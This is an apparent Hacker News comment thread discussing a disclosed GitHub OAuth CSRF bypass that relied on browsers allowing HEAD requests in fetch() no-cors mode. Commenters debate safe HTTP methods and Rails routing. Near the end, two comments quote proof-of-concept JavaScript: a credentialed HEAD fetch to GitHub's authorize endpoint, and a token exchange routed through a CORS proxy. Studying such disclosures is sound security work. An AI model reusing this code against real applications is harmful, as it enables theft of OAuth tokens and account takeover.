4 ms·
Wow, why would the browser allow HEAD request in the first place w/o explicit confirmation from github server with CORS headers. This is very strange. It
by homakov 7y ago
Wow, why would the browser allow HEAD request in the first place w/o explicit confirmation from github server with CORS
headers. This is very strange.
It also reminded me of why "match" was removed in the first place - http://homakov.blogspot.com/2012/04/whitelist-your-routes-match-is-evil.html http://homakov.blogspot.com/2012/04/whitelist-your-routes-ma... - you could route any POST request via GET therefore bypassing CSRF checks still getting inside the controller.
- lol768 7y agoWhy's it strange? In a properly designed application, it shouldn't do anything any different to the no-cors requests you can already achieve with e.g. an <img> element. HEAD, GET et al are all supposed to be "safe methods" per the spec.
- homakov 7y agoYou can't achieve a HEAD request with <img> elements, can you? In a rails env the only way to upgrade to non-standard methods (PATCH, PUT etc) were always to supply _method and pass CSRF protection first. This trick is clearly a bypass because it instructs browser to make a HEAD request, something it never did before. If you try to make other non-standard request you will get this error: Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': 'PATCH' is unsupported in no-cors mode.
- lol768 7y agoNo, but you can achieve a GET which is also a "safe request method" per RFC7231. All of these requests should be idempotent. I'm not a fan of the hacks that exist to allow HTML forms to emulate other request methods. They're off by default in ASP.NET Core MVC, which is good IMO.
- homakov 7y ago"should". Real apps are much more complicated than what they are in theory. In theory all CSRF protections must be based on an auth token, in practice they routinely rely on the method or referrer. For this reason browser upgrades must be extremely careful to not break older protections. That's why you cannot set your own referer (which is supposed to mean nothing), you cannot supply Content-type: application/json unless instructed by CORS preflight, etc etc. Here, the backwards compatibility was clearly broken. It was never possible to send HEAD few years ago with regular XHR or <img>s. Web standards owe $25k back to github. Yes, github's routing was flawed but it wasn't exploitable until browsers allowed HEAD in fetch() no-cors mode.
- lol768 7y ago>For this reason browser upgrades must be extremely careful to not break older protections. It's too late for that though. We've already had e.g. Referrer-Policy come and break existing CSRF protection which treated an empty/missing Referer header as 'safe'. You're right that bad assumptions are going to made all over the place in the real world, but browser vendors shouldn't shoulder all of that responsibility. You have to draw the line somewhere, right?
- homakov 7y agoI worked a lot with client side bugs earlier, and clearly this trick has crossed this line. Browsers cannot say in one scenario that "content-type:application/json" are unsafe and in another allow completely unnecessary HEAD method that nobody ever used to be sent with 3rd party JS page. Seriously who needs HEAD in their client side development? It's purely a technical method w/o clear use pattern. It's not even valid in <form method=""> so why would it be valid in fetch()? Oh and PATCH/PUT are still invalid in fetch(). We're lucky that this code pattern is only common in Rails. Otherwise it could open a whole class of bugs.
- thinkloop 7y agoWait, why is it useless? At minimum there is the example cited in the article of checking file length without having to download the actual file, but more generally, if headers have any value, and they must since they exist, why can't you imagine situations where you just want to see the headers without downloading a giant body?
- yxhuvud 7y agoI'm also not a fan of them, but I am even less a fan of the HTML spec for forms not supporting all methods.
- jraph 7y agoBut if your form is an advanced search form of instance, it should lead to a get request in my opinion.
- gcbw3 7y agoHTTP is dead. No developer today understand anything from HTTP and even cookies and cache are already too complex and hidden from most (just like memory management!) But that will solve itself when we all move to http3 which is not http, and we all have to read the new spec to implement things from scratch, then we will like those hidden complexities until the next cycle. now get off my lawn! -- sigh, and we need a genZ version of this, as we are not boomers to have lawns but i still want to highlight the generational gap :(
- Gaelan 7y agoI think HEAD requests are how the browser gets CORS headers in the first place.
- thefreeman 7y agoI believe you are thinking of the OPTIONS preflight request.
- Gaelan 7y agoAh, I guess so.
- thefreeman 7y agoThe author proxied the request through his own server in order to bypass CORS restrictions.
- iancarroll 7y agoThat would defeat the point because then the server would need to know your authentication cookie. I can’t see the PoC but I doubt this is how it works.
- homakov 7y agoThere was no proxy view-source:https://not-an-aardvark.github.io/oauth-bypass-poc-fbdf56605489c74b2951/ https://not-an-aardvark.github.io/oauth-bypass-poc-fbdf56605... const authUrl = `https://github.com/login/oauth/authorize? client_id=${CLIENT_ID}&scope=read:user&authorize=1`; fetch( authUrl, { method: 'HEAD', credentials: 'include', mode: 'no-cors' } )
- thefreeman 7y agoThere was a proxy, but I may have misunderstood what it was being used for fetch( // For the proof-of-concept, use a proxy to get around CORS. This is only necessary because the proof of concept runs // clientside in a browser; an alternative would be to just send the code to a server and do the request there. 'https://cors-anywhere.herokuapp.com/https://github.com/login/oauth/access_token', { method: 'POST', mode: 'cors', headers: { Accept: 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ client_id: CLIENT_ID, client_secret: CLIENT_SECRET, code }) } )